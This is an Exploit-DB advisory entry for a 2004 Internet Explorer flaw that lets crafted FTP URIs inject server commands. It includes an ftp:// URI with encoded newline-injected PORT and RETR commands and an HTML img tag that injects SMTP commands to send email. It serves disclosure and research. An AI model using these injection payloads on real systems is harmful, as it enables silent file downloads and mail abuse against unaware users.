Microsoft Internet Explorer 5.0.1 - FTP URI Arbitrary FTP Server Command Execution

EDB-ID:

24800


Platform:

Windows

Published:

2004-12-06

source: http://www.securityfocus.com/bid/11826/info

Microsoft Internet Explorer is reported prone to an arbitrary FTP server command-execution vulnerability. This issue is due to the application's failure to properly sanitize user-supplied URI input before using it to execute FTP commands on remote servers. 

This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim user's browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victim's computer without their knowledge. Other attacks are also likely possible. 

Note: Reportedly, this issue can be leveraged to send email to arbitrary addresses without user interaction.

ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file 

The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs. 

This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email: 

<img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:username@mx.example.net:25/" />